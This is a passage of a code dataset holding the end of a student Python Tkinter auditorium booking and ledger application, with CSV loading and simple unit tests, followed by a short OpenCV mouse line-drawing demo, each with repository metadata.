spframe.place(relwidth=1, relheight=0.3)\n        #sproot.title(\"Welcome Salesperson\")\n\n        def spsearch_entry():\n            e = (sptosearch.get())\n            print(e)\n\n            spframe2 = Frame(sproot, bg=\"#ffd6d6\")\n            spframe2.place(relwidth=1, relheight=0.7, rely=0.3)\n\n            # get from excel\n            # ff\n            # get spshows from excel and show only those that match with e\n            spshows = self.auditoriums.findShow(e)  # get from excel\n            splistbox = Listbox(spframe2)\n            # splistbox.insert(1,'Name' + ' '*36 + )\n            for x in spshows:\n                splistbox.insert(splistbox.size() + 1,\n                                 x.name + \" ;\" + str(x.audino) + \" ;\" + x.startTime.strftime(\n                                     \"%c\") + \" ;\" + x.endTime.strftime(\n                                     \"%c\"))\n            splistbox.place(relx=0.05, rely=0.05, relheight=0.85, relwidth=0.9)\n\n            def spselected_item(event):\n                value = str((splistbox.get(ANCHOR))).split(' ;')\n                print(value)\n\n                def spdestroy():\n                    spframe3.destroy()\n                    spframe2.destroy()\n\n                spframe3 = Frame(sproot, bg=\"#ffd6d6\")\n                spframe3.place(relheight=1, relwidth=1)\n\n                show = None\n                for x in self.auditoriums.shows:\n                    if x.name == value[0] and x.audino == value[1] and (\n                            x.startTime.strftime(\"%c\") == value[2]):\n                        show = x\n                if show is None:\n                    spdestroy()\n                    return\n\n                Label(spframe3, text=(\n                        \"Show: \" + show.name + \"\\nStarts at: \" + show.startTime.strftime(\n                    \"%c\") + \"\\nEnds at: \" + show.endTime.strftime(\"%c\") + \"\\nAuditorium number:\" + show.audino),\n                      bg=\"#ffd6d6\").pack(padx=5, pady=5)\n\n                def showseats(noofseats, num):\n                    spcanvas = Frame(spframe3)\n                    spcanvas.place(relx=0.03, rely=0.35, relheight=0.6, relwidth=0.94)\n\n                    statusnormal = []\n                    for x in show.nseats:\n                        if x.isAvailable():\n                            statusnormal.append('unbooked')\n                        else:\n                            statusnormal.append('booked')\n\n                    statusbalcony = []\n                    for x in show.bseats:\n                        if x.isAvailable():\n                            statusbalcony.append('unbooked')\n                        else:\n                            statusbalcony.append('booked')\n\n                    if num == 0:\n                        status = statusnormal\n                        seattype = 'normal'\n                    else:\n                        status = statusbalcony\n                        seattype = 'balcony'\n\n                    x = 0.02\n                    y = 0.02\n\n                    for i in range(noofseats):\n                        # if available = green, booked = red\n                        if x > 0.95:\n                            x = 0.02\n                            y = y + 0.14\n\n                        if status[i] == 'booked':\n                            spbutton5 = Button(spcanvas, text=i + 1, bd=5, bg='#cc0000',\n                                               command=partial(spbookseat, i, show, num))\n                            spbutton5.place(relx=x, rely=y, relheight=0.12, relwidth=0.05)\n\n                        elif status[i] == 'unbooked':\n                            spbutton5 = Button(spcanvas, text=i + 1, bd=5, bg='#009933',\n                                               command=partial(spbookseat, i, show, num))\n                            spbutton5.place(relx=x, rely=y, relheight=0.12, relwidth=0.05)\n\n                        x = x + 0.07\n\n                no_of_normals = len(show.nseats)  # from excel\n                no_of_balcony = len(show.bseats)  # from excel\n                spbutton1 = Button(spframe3, text='Normal seats', bd=5, command=partial(showseats, no_of_normals, 0))\n                spbutton1.place(relx=0.70, rely=0.2, relheight=0.1, relwidth=0.12)\n\n                spbutton2 = Button(spframe3, text='Balcony seats', bd=5, command=partial(showseats, no_of_balcony, 1))\n                spbutton2.place(relx=0.83, rely=0.2, relheight=0.1, relwidth=0.12)\n\n                spbutton3 = Button(spframe3, text='Back', bd=5, command=spdestroy)\n                spbutton3.place(relx=0.03, rely=0.05, relheight=0.1, relwidth=0.1)\n\n            def spbookseat(seatnumber, show, num):\n                spframe4 = Frame(sproot, bg=\"#ffd6d6\")\n                spframe4.place(relheight=1, relwidth=1)\n\n                spbutton6 = Button(spframe4, text='Back', bd=5, command=spframe4.destroy)\n                spbutton6.place(relx=0.03, rely=0.05, relheight=0.1, relwidth=0.1)\n\n                if num == 0:\n                    seat = show.nseats[seatnumber]\n                elif num == 1:\n                    seat = show.bseats[seatnumber]\n\n                if seat.isAvailable():\n                    operation = \"booking\"\n                else:\n                    operation = \"cancelletion\"\n\n                Label(spframe4, text=(\"Confirm \" + operation + \"of seat number \" + str(\n                    seatnumber + 1) + \" for show \" + show.name),\n                      bg=\"#ffd6d6\").pack(padx=25, pady=100)\n                spbutton7 = Button(spframe4, text='Confirm Booking', bd=5,\n                                   command=lambda: self.book(operation, spframe4, seat, show))\n                spbutton7.place(relx=0.4, rely=0.4, relheight=0.1, relwidth=0.15)\n\n            splistbox.bind('<Double-1>', spselected_item)\n\n            return\n\n        sptosearch = StringVar()\n\n        spentry1 = Entry(spframe, textvariable=sptosearch, bd=5, width=100)\n        spentry1.place(relx=0.05, rely=0.5, relheight=0.3, relwidth=0.66)\n\n        spbutton1 = Button(spframe, text='Search', bd=5, command=spsearch_entry)\n        spbutton1.place(relx=0.75, rely=0.5, relheight=0.3, relwidth=0.2)\n\n        def findestroy():\n            spframe.destroy()\n            framed.destroy()\n\n        spbutton2 = Button(spframe, text='Log Out', bd=5, command=findestroy)\n        spbutton2.place(relx=0.05, rely=0.1, relheight=0.3, relwidth=0.1)\n\n    # book-> update seat allotment excel files for the particular show\n\n    def AuditClerkMenu(self, root):\n\n        frame = Frame(root, bg=\"#ffd6d6\")\n        frame.place(relwidth=1, relheight=1)\n\n        button6 = Button(frame, text=\"Logout\", command=frame.destroy)\n        button6.place(relx=0.05, relwidth=0.075, rely=0.05, relheight=0.1)\n\n        label1 = Label(frame, text=\"Enter expense name: \", bg=\"#ffd6d6\")\n        label1.place(relx=0.05, relwidth=0.425, rely=0.24, relheight=0.1)\n\n        entry1 = Entry(frame)\n        entry1.place(relx=0.525, relwidth=0.425, rely=0.24, relheight=0.1)\n\n        label2 = Label(frame, text=\"Enter expense amount: \", bg=\"#ffd6d6\")\n        label2.place(relx=0.05, relwidth=0.425, rely=0.43, relheight=0.1)\n\n        entry2 = Entry(frame)\n        entry2.place(relx=0.525, relwidth=0.425, rely=0.43, relheight=0.1)\n\n        label3 = Label(frame, text=\"Enter expense date: \", bg=\"#ffd6d6\")\n        label3.place(relx=0.05, relwidth=0.425, rely=0.62, relheight=0.1)\n\n        global startdate\n\n        def getsdt():\n            cal = Calendar(frame, selectmode='day',\n                           year=2020, month=5,\n                           day=22)\n\n            cal.place(relx=0.05, relwidth=0.425, rely=0.62)\n\n            def grad_date():\n                global startdate\n                c = cal.get_date()\n                print(c)\n                startdate = c\n                cal.destroy()\n\n                options = ['00:00', '01:00', '02:00', '03:00', '04:00', '05:00', '06:00', '07:00', '08:00', '09:00',\n                           '10:00', '11:00', '12:00', '13:00', '14:00', '15:00', '16:00', '17:00', '18:00', '19:00',\n                           '20:00', '21:00', '22:00', '23:00']\n                clicked = StringVar()\n\n                clicked.set(\"Select Time\")\n\n                etime = ' time not selected'\n\n                def gettime(v, c):\n                    v = str(v)\n                    print(v)\n                    global startdate\n                    startdate += ' ' + c\n                    drop.destroy()\n                    bb.destroy()\n                    labelst = Label(frame, text=(c + \" \" + v), bg=\"#ffd6d6\")\n                    labelst.place(relx=0.525, relwidth=0.425, rely=0.62, relheight=0.1)\n\n                drop = OptionMenu(root, clicked, *options, command=partial(gettime, c))\n                drop.place(relx=0.525, relwidth=0.425, rely=0.62, relheight=0.1)\n\n            bb = Button(root, text=\"Done\",\n                        command=grad_date)\n            bb.place(relx=0.525, relwidth=0.425, rely=0.62, relheight=0.10)\n\n        buttonst = Button(frame, text=\"Time:\", command=getsdt)\n        buttonst.place(relx=0.05, relwidth=0.425, rely=0.62, relheight=0.1)\n\n        # entry3 = Entry(frame)\n        # entry3.place(relx=0.525, relwidth=0.425, rely=0.62, relheight=0.1)\n\n        def save():\n            if self.ledger.addExpense(entry1.get(), entry2.get(), datetime.strptime(startdate, '%m/%d/%y %H:%M')):\n                key = str(-1) + ' ;' + datetime.strptime(startdate, '%m/%d/%y %H:%M').strftime('%c')\n                self.balanceSheet[key] = [self.balanceSheet.get(key, [0, ''])[0] + int(entry2.get()), entry1.get()]\n                label4 = Label(frame, text=entry1.get() + \" Saved Successfully\", bg=\"#ffd6d6\")\n                label4.place(relx=0.55, relwidth=0.4, rely=0.81, relheight=0.1)\n            else:\n                label4 = Label(frame, text=\"Could not be saved\", bg=\"#ffd6d6\")\n                label4.place(relx=0.55, relwidth=0.4, rely=0.81, relheight=0.1)\n            # add same for balance sheet\n\n        button1 = Button(frame, text=\"Save\", command=save)\n        button1.place(relx=0.05, relwidth=0.1, rely=0.81, relheight=0.1)\n\n    def SpectatorMenu(self, sproot):  # differs from SRS\n\n        framed = Frame(sproot, bg=\"#ffd6d6\")\n        framed.place(relwidth=1, relheight=1)\n        spframe = Frame(sproot, bg=\"#ffd6d6\")\n        spframe.place(relwidth=1, relheight=0.3)\n        #sproot.title(\"Welcome Spectator\")\n\n        def spsearch_entry():\n            e = (sptosearch.get())\n            print(e)\n\n            spframe2 = Frame(sproot, bg=\"#ffd6d6\")\n            spframe2.place(relwidth=1, relheight=0.7, rely=0.3)\n\n            # get from excel\n            # ff\n            # get spshows from excel and show only those that match with e\n            spshows = self.auditoriums.findShow(e)  # get from excel\n            splistbox = Listbox(spframe2)\n\n            for x in spshows:\n                splistbox.insert(splistbox.size() + 1, x.name + \" ;\" + x.audino + \" ;\" + x.startTime.strftime(\n                    \"%c\") + \" ;\" + x.endTime.strftime(\"%c\"))\n            splistbox.place(relx=0.05, rely=0.05, relheight=0.85, relwidth=0.9)\n\n            def spselected_item(event):\n                value = str((splistbox.get(ANCHOR))).split(' ;')\n                print(value)\n\n                def spdestroy():\n                    spframe3.destroy()\n                    spframe2.destroy()\n\n                spframe3 = Frame(sproot, bg=\"#ffd6d6\")\n                spframe3.place(relheight=1, relwidth=1)\n\n                show = None\n                for x in self.auditoriums.shows:\n                    if x.name == value[0] and x.audino == value[1] and (x.startTime.strftime(\"%c\") == value[2]):\n                        show = x\n                if show is None:\n                    spdestroy()\n                    return\n\n                Label(spframe3, text=(\n                        \"Show: \" + show.name + \"\\nStarts at: \" + show.startTime.strftime(\n                    \"%c\") + \"\\nEnds at: \" + show.endTime.strftime(\"%c\") + \"\\nAuditorium number:\" + show.audino),\n                      bg=\"#ffd6d6\").pack(padx=5, pady=5)\n\n                def showseats(noofseats, num):\n                    spcanvas = Frame(spframe3)\n                    spcanvas.place(relx=0.03, rely=0.35, relheight=0.6, relwidth=0.94)\n\n                    statusnormal = []\n                    for x in show.nseats:\n                        if x.isAvailable():\n                            statusnormal.append('unbooked')\n                        else:\n                            statusnormal.append('booked')\n\n                    statusbalcony = []\n                    for x in show.bseats:\n                        if x.isAvailable():\n                            statusbalcony.append('unbooked')\n                        else:\n                            statusbalcony.append('booked')\n\n                    if num == 0:\n                        status = statusnormal\n                        seattype = 'normal'\n                    else:\n                        status = statusbalcony\n                        seattype = 'balcony'\n\n                    x = 0.02\n                    y = 0.02\n\n                    for i in range(noofseats):\n                        # if available = green, booked = red\n                        if x > 0.95:\n                            x = 0.02\n                            y = y + 0.14\n\n                        if status[i] == 'booked':\n                            spbutton5 = Button(spcanvas, text=i + 1, bd=5, bg='#cc0000')\n                            spbutton5.place(relx=x, rely=y, relheight=0.12, relwidth=0.05)\n\n                        elif status[i] == 'unbooked':\n                            spbutton5 = Button(spcanvas, text=i + 1, bd=5, bg='#009933')\n                            spbutton5.place(relx=x, rely=y, relheight=0.12, relwidth=0.05)\n\n                        x = x + 0.07\n\n                no_of_normals = len(show.nseats)  # from excel\n                no_of_balcony = len(show.bseats)  # from excel\n                spbutton1 = Button(spframe3, text='Normal seats', bd=5, command=partial(showseats, no_of_normals, 0))\n                spbutton1.place(relx=0.70, rely=0.2, relheight=0.1, relwidth=0.12)\n\n                spbutton2 = Button(spframe3, text='Balcony seats', bd=5, command=partial(showseats, no_of_balcony, 1))\n                spbutton2.place(relx=0.83, rely=0.2, relheight=0.1, relwidth=0.12)\n\n                spbutton3 = Button(spframe3, text='Back', bd=5, command=spdestroy)\n                spbutton3.place(relx=0.03, rely=0.05, relheight=0.1, relwidth=0.1)\n                #\n\n            splistbox.bind('<Double-1>', spselected_item)\n\n            return\n\n        sptosearch = StringVar()\n\n        spentry1 = Entry(spframe, textvariable=sptosearch, bd=5, width=100)\n        spentry1.place(relx=0.05, rely=0.5, relheight=0.3, relwidth=0.66)\n\n        spbutton1 = Button(spframe, text='Search', bd=5, command=spsearch_entry)\n        spbutton1.place(relx=0.75, rely=0.5, relheight=0.3, relwidth=0.2)\n\n        def findestroy():\n            spframe.destroy()\n            # spframe2.destroy()\n            framed.destroy()\n\n        spbutton2 = Button(spframe, text='Return', bd=5, command=findestroy)\n        spbutton2.place(relx=0.05, rely=0.1, relheight=0.3, relwidth=0.1)\n\n\ndef startup():\n    # read from excel files and shit\n    sys = ManagementSystem()\n    # x = ShowManager('id', 'pass')\n    # sys.employees.append(x)\n    '''t1 = Show(datetime.strptime(\"01/01/01 00:00\", '%m/%d/%y %H:%M'),datetime.strptime(\"01/01/01 02:00\", '%m/%d/%y %H:%M'),\"1\",\"test1\",90,10,250,200)\n    t2 = Show(datetime.strptime(\"02/01/01 00:00\", '%m/%d/%y %H:%M'),datetime.strptime(\"02/01/01 00:00\", '%m/%d/%y %H:%M'),\"1\",\"test2\",90,10,250,200)\n    sys.auditoriums.addshow(t1)\n    sys.auditoriums.addshow(t2)\n    '''\n    # read ledger\n    if os.path.isfile('alltransactions.csv'):\n        with open('alltransactions.csv', mode='r+')as file:\n            csvFile = csv.reader(file)\n            for lines in csvFile:\n                if lines[3] != 'price':\n                    t = Transaction(int(lines[3]), int(lines[0]), lines[1],\n                                    datetime.strptime(lines[2], '%Y-%m-%d %H:%M:%S.%f'))\n                    sys.ledger.transactions[int(lines[0])] = t\n    else:\n        print(\"alltransactions file not found\")\n\n        # read balance sheet\n    if os.path.isfile('balanceSheet.csv'):\n        with open('balancesheet.csv', mode='r+')as file:\n            csvFile = csv.reader(file)\n            for lines in csvFile:\n                if lines[3] != 'value':\n                    key = str(lines[1]) + ' ;' + lines[2]\n                    sys.balanceSheet[key] = [int(float(lines[3])), lines[0]]\n    else:\n        print(\"balancesheet file not found\")\n        # read shows.csv\n    if os.path.isfile('Shows.csv'):\n        with open('Shows.csv', mode='r+')as file:\n            csvFile = csv.reader(file)\n            for lines in csvFile:\n                if lines[2] != 'audiNum':\n                    print(type(lines[0]))\n                    s = Show(datetime.strptime(lines[0], '%Y-%m-%d %H:%M:%S'),\n                             datetime.strptime(lines[1], '%Y-%m-%d %H:%M:%S'), lines[2], lines[3], 0,\n                             0, int(lines[6]), int(lines[7]))\n                    sys.auditoriums.shows.append(s)\n                    # print(\"aa\")\n                    # print(lines[0])\n                    # print(type(lines[0]))\n                    seatFile = s.name + \"_\" + str(s.audino) + \"_\" + datetime.strptime(lines[0],\n                                                                                      '%Y-%m-%d %H:%M:%S').strftime(\n                        \"%c\") + \".csv\"\n                    seatFile = seatFile.replace(\" \", \"_\")\n                    seatFile = seatFile.replace(\":\", \"_\")\n                    with open(seatFile, mode='r+')as file2:\n                        csvFile = csv.reader(file2)\n                        for line in csvFile:\n                            if line[1] == 'balcony':\n                                x = Seat(int(line[0]), 'balcony')\n                                if line[2] == '':\n                                    x.transactionID = None\n                                else:\n                                    x.transactionID = int(line[2])\n                                if line[3] == 'True':  \n                                    x.allotmentStatus = True\n                                elif line[3] == 'False':  \n                                     x.allotmentStatus = False\n                                s.bseats.append(x)\n                            elif line[1] == 'normal':\n                                x = Seat(int(line[0]), 'normal')\n                                if line[2] == '':\n                                    x.transactionID = None\n                                else:\n                                    x.transactionID = int(line[2])\n                                if line[3] == 'True':  \n                                    x.allotmentStatus = True\n                                elif line[3] == 'False':  \n                                     x.allotmentStatus = False\n                                s.nseats.append(x)\n    else:\n        print(\"shows file not found\")\n\n        # read employees:\n    if os.path.isfile('employees.csv'):\n        with open('employees.csv', mode='r+')as file:\n            csvFile = csv.reader(file)\n            for lines in csvFile:\n                if lines[4] == \"showmanager\":\n                    ep = ShowManager(lines[0], lines[1])\n                    sys.employees.append(ep)\n                elif lines[4] == \"auditclerk\":\n                    ep = AuditClerk(lines[0], lines[1])\n                    sys.employees.append(ep)\n                elif lines[4] == \"salesperson\":\n                    ep = SalesPerson(lines[0], lines[1], int(lines[2]))\n                    ep.commission = int(lines[3])\n                    b = lines[5]\n                    lst = []\n                    if b != '[]':\n                        b = b[1:-1].split(',')\n                        for x in b:\n                            lst.append(int(x))\n                    ep.transactions = lst\n                    sys.employees.append(ep)\n\n    else:\n        print(\"employee file not found\")\n\n    sys.homeUI()  # UNCOMMENT FFS\n    sys.save()\n\n\nstartup()\n\n\ndef unitTest():\n    goodcount = 0\n    totalcount = 0\n    print(\"Testing Seat\")\n    x = Seat(12, 'Balcony')\n    if x.seatNumber == 12 and x.seatType == 'Balcony':\n        print(\"+++ Seat init works\")\n    else:\n        print(\"+++ Seat init doesnt work\")\n\n    x.allot(100)\n    if x.transactionID == 100 and not x.isAvailable():\n        print('+++ Seat allot works 1/2')\n    else:\n        print('+++ Seat allot doesnt work 1/2')\n\n    if not x.allot(101):\n        print('+++ Seat allot works 2/2')\n    else:\n        print('+++ Seat allot doesnt work 2/2')\n\n    if not x.isAvailable():\n        print(\"+++ Seat isAvailable works\")\n    else:\n        print(\"+++ Seat isAvailable doesnt work\")\n\n    x.cancel()\n\n    if x.allotmentStatus is False and x.transactionID is None:\n        print(\"+++ Seat cancel works 1/2\")\n    else:\n        print(\"+++ Seat cancel doesnt work 1/2\")\n\n    if not x.cancel():\n        print(\"+++ Seat cancel works 2/2\")\n    else:\n        print(\"+++ Seat cancel doesnt work 2/2\")\n\n    print(\"Testing Show\")\n\n    x = Show(datetime.strptime(\"01/01/01 00:00\", '%m/%d/%y %H:%M'),\n             datetime.strptime(\"01/01/01 01:00\", '%m/%d/%y %H:%M'), 89, \"TestShow\", 90, 10, 500, 1000)\n\n    if x.name == \"TestShow\" and x.audino == 89 and x.priceBalcony == 500 and x.priceNormal == 1000 and len(\n            x.nseats) == 10 and len(x.bseats) == 90:\n        print(\"+++ Show init works\")\n    else:\n        print(\"+++ Show init doesnt work\")\n\n    x = Show(datetime.strptime(\"01/01/01 02:00\", '%m/%d/%y %H:%M'),\n             datetime.strptime(\"01/01/01 01:00\", '%m/%d/%y %H:%M'), 89, \"TestShow\", 90, 10, 500, 1000)\n    if x.startTime is None and x.endTime is None:\n        print(\"+++ Show init time exception works\")\n    else:\n        print(\"+++ Show init time exception doesnt work\")\n\n    for y in x.nseats:\n        y.allot(0)\n    z = x.showAvailableSeats()\n    if z[0] == x.bseats:\n        print(\"+++ Show showAvailableSeats works\")\n    else:\n        print(\"+++ Show showAvailableSeats doesnt work\")\n\n    if x.percentageOccupied() == 100 * len(x.nseats) / float(len(x.nseats) + len(x.bseats)):\n        print(\"+++ Show percentage occupied works\")\n    else:\n        print(\"++ Show percentage occupied doesnt work\")\n        print(x.percentageOccupied())\n        print(100 * len(x.nseats) / float(len(x.nseats) + len(x.bseats)))\n\n    print(\"Testing Auditorium\")\n    audi = Auditorium()\n    x = Show(datetime.strptime(\"01/01/01 00:00\", '%m/%d/%y %H:%M'),\n             datetime.strptime(\"01/01/01 01:00\", '%m/%d/%y %H:%M'), 89, \"TestShow\", 90, 10, 500, 1000)\n    if audi.shows == []:\n        print(\"+++ Auditorium init works\")\n    else:\n        print(\"+++ Auditorium init doesnt work\")\n\n    testshow = x\n\n    if audi.addshow(testshow) and audi.shows[0] == testshow:\n        print(\"+++ Auditorium add show works 1/2\")\n    else:\n        print(\"+++ Auditorium add show doesnt work 1/2\")\n\n    if not audi.addshow(testshow):\n        print(\"+++ Auditorium add show works 2/2\")\n    else:\n        print(\"+++ Auditorium add show doesnt work 2/2\")\n\n    if audi.findShow('est') == [testshow]:\n        print(\"+++ Auditorium find show works\")\n    else:\n        print(\"+++ Auditorium find show doesnt work\")\n\n    print(\"Testing Transaction\")\n\n    tran = Transaction(130, 100, 'booking', datetime.now())\n    if tran.transactionID == 100 and tran.name == 'booking' and tran.value == 130:\n        print(\"+++ Transaction init works\")\n    else:\n        print(\"+++ Transaction init doesnt work\")\n\n    print(\"Testing Ledger\")\n    ledgy = Ledger()\n\n    if not ledgy.transactions:\n        print(\"+++ Ledger init works\")\n    else:\n        print(\"+++ Ledger init doesnt work\")\n\n    ledgy.addExpense('Electricity', 13000, datetime.now())\n\n    if ledgy.transactions[0].name == 'Electricity' and ledgy.transactions[0].value == 13000:\n        print(\"+++ Ledger add expense works\")\n    else:\n        print(\"+++ Ledger add expense doesnt work\")\n\n    if ledgy.printTransactions([0])[0].name == 'Electricity' and ledgy.printTransactions([0])[0].value == 13000:\n        print(\"+++ Ledger print transaction works 1/2\")\n    else:\n        print(\"+++ Ledger print transaction doesnt work 1/2\")\n\n    if not ledgy.printTransactions([4, 5]):\n        print(\"+++ Ledger print transaction works 2/2\")\n    else:\n        print(\"+++ Ledger print transaction doesnt work 2/2\")\n\n    print(\"Testing Employee\")\n\n    emp = Employee('id', 'pass1')\n\n    if emp.loginID == 'id' and emp.password == 'pass1':\n        print(\"+++ Employee init works\")\n    else:\n        print(\"+++ Employee init doesnt work\")\n\n    print(\"Testing Sales Person\")\n\n    sp = SalesPerson('id', 'pass1', '1000')\n\n    if sp.loginID == 'id' and sp.password == 'pass1':\n        print(\"+++ Sales Person init works\")\n    else:\n        print(\"+++ Sales Person init doesnt work\")\n\n    sp.insertTransaction(3)\n    if sp.transactions[0] == 3:\n        print(\"+++ Sales Person insert transaction works\")\n    else:\n        print(\"+++ Sales Person insert transaction doesnt work\")\n\n\nunitTest()\n\n", "repo_name": "mentaltraffic/students-auditorium-management-system", "sub_path": "SAMS_GROUP23.py", "file_name": "SAMS_GROUP23.py", "file_ext": "py", "file_size_in_byte": 53682, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "csv.DictWriter", "line_number": 172, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 182, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 189, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 198, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 205, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 213, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 221, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 227, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 233, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 241, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 255, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 273, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 273, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 277, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 277, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 297, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 297, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 437, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 479, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 758, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 763, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 770, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 773, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 882, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 896, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 896, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 897, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 897, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 1005, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 1008, "usage_type": "call"}, {"api_name": "os.path.path.isfile", "line_number": 1047, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 1047, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 1047, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 1049, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 1053, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1053, "usage_type": "name"}, {"api_name": "os.path.path.isfile", "line_number": 1059, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 1059, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 1059, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 1061, "usage_type": "call"}, {"api_name": "os.path.path.isfile", "line_number": 1069, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 1069, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 1069, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 1071, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 1075, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1075, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 1076, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1076, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 1082, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1082, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 1088, "usage_type": "call"}, {"api_name": "os.path.path.isfile", "line_number": 1116, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 1116, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 1116, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 1118, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 1188, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1188, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 1189, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1189, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 1197, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1197, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 1198, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1198, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 1221, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1221, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 1222, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1222, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 1247, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1247, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 1261, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1261, "usage_type": "name"}]}
{"seq_id": "13027169021", "text": "import numpy as np\r\nimport cv2\r\n\r\n# create black canvas of size 600x600\r\nimg = np.zeros((600, 600, 3), dtype=np.uint8)\r\n# intialize values in unusable states\r\npreview = None\r\ninitialPoint = (-1, -1)\r\n\r\n# mouse callback\r\n\r\n\r\ndef drawLine(event, x, y, flags, param):\r\n    global initialPoint, img, preview\r\n    if event == cv2.EVENT_LBUTTONDOWN:\r\n        # new initial point and preview is now a copy of the original image\r\n        initialPoint = (x, y)\r\n        preview = img.copy()\r\n        # this will be a point at this point in time\r\n        cv2.line(preview, initialPoint, (x, y), (0, 255, 0), 1)\r\n\r\n    elif event == cv2.EVENT_MOUSEMOVE:\r\n        if preview is not None:\r\n            # copy the original image again a redraw the new line\r\n            preview = img.copy()\r\n            cv2.line(preview, initialPoint, (x, y), (0, 255, 0), 1)\r\n\r\n    elif event == cv2.EVENT_LBUTTONUP:\r\n        # if we are drawing, preview is not None and since we finish, draw the final line in the image\r\n        if preview is not None:\r\n            preview = None\r\n            cv2.line(img, initialPoint, (x, y), (255, 0, 0), 1)\r\n\r\n\r\n# set the named window and callback\r\ncv2.namedWindow(\"image\")\r\ncv2.setMouseCallback(\"image\", drawLine)\r\n\r\nwhile (True):\r\n    # if we are drawing show preview, otherwise the image\r\n    if preview is None:\r\n        cv2.imshow('image', img)\r\n    else:\r\n        cv2.imshow('image', preview)\r\n    k = cv2.waitKey(1) & 0xFF\r\n    if k == ord('q'):\r\n        break\r\n\r\ncv2.destroyAllWindows()\r\n", "repo_name": "xcool456/OpenCV-docs-tutorial", "sub_path": "GUI (2)/4(view).py", "file_name": "4(view).py", "file_ext": "py", "file_size_in_byte": 1507, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.zeros", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 5, "usage_type": "attribute"}, {"api_name": "cv2.EVENT_LBUTTONDOWN", "line_number": 15, "usage_type": "attribute"}, {"api_name": "cv2.line", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.EVENT_MOUSEMOVE", "line_number": 22, "usage_type": "attribute"}, {"api_name": "cv2.line", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.EVENT_LBUTTONUP", "line_number": 28, "usage_type": "attribute"}, {"api_name": "cv2.line", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.setMouseCallback", "line_number": 37, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 44, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 49, "usage_type": "call"}]}
